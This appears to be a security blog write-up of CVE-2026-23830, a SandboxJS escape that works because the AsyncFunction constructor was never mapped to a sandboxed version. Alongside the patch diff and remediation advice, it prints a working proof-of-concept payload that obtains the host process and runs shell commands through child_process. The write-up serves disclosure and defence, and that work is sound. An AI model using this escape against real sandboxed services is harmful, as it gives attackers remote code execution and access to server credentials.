Async Abyss: Escaping SandboxJS via Forgotten Constructors

JavaScript sandboxing is effectively an arms race between library maintainers and the ECMAScript specification. The goal of SandboxJS is simple: take untrusted code, parse it, identify the scary bits, and execute it in a padded cell where it can't touch process, require, or your AWS keys.

To achieve this, SandboxJS doesn't just run code; it dissects it. It creates an execution context that mimics the global scope but replaces dangerous natives with shimmed, safe versions. You call eval()? You get a safe eval. You call Function()? You get a safe function factory.

But here's the problem with JavaScript: there is never just one way to do anything. While the developers were busy barricading the standard Function constructor, they forgot that ECMAScript 2017 introduced a trendy new sibling: AsyncFunction. This oversight turns the entire sandbox into a suggestion rather than a rule.

The root cause of CVE-2026-23830 is a classic "allowlist miss." The library maintains a WeakMap called evals that maps native constructors to their sandboxed counterparts. When the sandbox encounters code trying to create a new function, it checks this map. If it sees the Function constructor, it redirects the call to a safe implementation.

However, the AsyncFunction constructor is not a global object you can just type into the console (like Array or Date). It is hidden. It effectively doesn't exist in the global namespace.

Because it wasn't sitting out in the open, the developers seemingly forgot it existed. They didn't add it to the evals map. This meant that if an attacker could get a reference to it, the sandbox would look at it, shrug, and say, "I don't have a rule for this, so here is the real, native host object." And just like that, the prisoner is given the keys to the warden's office.

Let's look at src/utils.ts before the patch. The code is explicitly setting up protections for specific dangerous globals. It's almost tragic to see Function and eval being handled so carefully right next to the gaping hole.

// BEFORE FIX
if (evalContext) {
  const func = evalContext.sandboxFunction(execContext);
  evals.set(Function, func);
  // <--- The silence here is deafening.
  evals.set(eval, evalContext.sandboxedEval(func));
}

The fix involves acknowledging that AsyncFunction exists. Since it's not globally accessible by name, the patch has to perform a bit of prototype gymnastics to capture it:

// AFTER FIX (src/utils.ts)
 
// 1. Capture the elusive constructor
export const AsyncFunction: Function = Object.getPrototypeOf(async function () {}).constructor;
 
// 2. Map it to a safe version
if (evalContext) {
  const func = evalContext.sandboxFunction(execContext);
  const asyncFunc = evalContext.sandboxAsyncFunction(execContext);
  
  evals.set(Function, func);
  evals.set(AsyncFunction, asyncFunc); // <--- The door is now locked.
  evals.set(eval, evalContext.sandboxedEval(func));
}

This highlights a fundamental fragility in JS sandboxes: you have to know every possible way to generate code to stop code generation.

So, how do we weaponize this? We can't just type new AsyncFunction(...) because AsyncFunction isn't a global variable. But we can derive it. Every async function is an instance of AsyncFunction. By defining a throwaway async arrow function and checking its .constructor property, we get a handle on the Native Host Constructor.

Here is the step-by-step kill chain:

1. Derive the Constructor: Create a harmless async function inside the sandbox.
2. Steal the Reference: Access its .constructor property. Because the sandbox doesn't recognize this object in its evals map, it hands you the real host constructor.
3. Payload Delivery: Use that constructor to build a new function containing malicious code.
4. Execute: Run the function. It executes in the host scope, bypassing the sandbox entirely.

// The PoC - One Line of Doom
const hostProcess = await (async () => {}).constructor("return process")();
 
// Taking it further (RCE)
const rce = (async () => {}).constructor(
  "return process.mainModule.require('child_process').execSync('id').toString()"
);
 
console.log(await rce());
// Output: uid=0(root) gid=0(root) ...

This is elegant in its simplicity. No memory corruption, no race conditions, just asking JavaScript for a feature it happily provides.

The impact here is maximum severity. If you are using SandboxJS to run user-submitted scripts—perhaps for a plugin system, a rules engine, or a 'code playground'—you are compromised.

Because the code generated by AsyncFunction runs in the host context (the global scope where the Node.js process lives), the attacker has access to everything the host process has access to:

• Environment Variables: AWS keys, database credentials (process.env).
• File System: Reading SSH keys, writing backdoors (fs module via require).
• Network: Launching reverse shells or pivoting to internal networks.

This isn't just a data leak; it is full remote server control. The CVSS score of 9.8 is well-deserved.

The immediate fix is to upgrade SandboxJS to the version containing commit 345aee6. If you cannot upgrade, you are theoretically out of luck, as monkey-patching the library externally is difficult due to how it initializes its context maps.

For Developers & Researchers: This vulnerability serves as a reminder that Function is not the only way to generate code. When auditing sandboxes, always check for the "exotic" constructors:

• AsyncFunction: (async()=>{}).constructor
• GeneratorFunction: (function*(){}).constructor
• AsyncGeneratorFunction: (async function*(){}).constructor

If the sandbox blocks Function but misses any of the above, it's game over. Defense in depth suggests that relying solely on a JS-based sandbox for high-risk code execution is inherently risky. Consider using actual isolation technologies like WebAssembly, Firecracker microVMs, or Deno sub-processes for true security.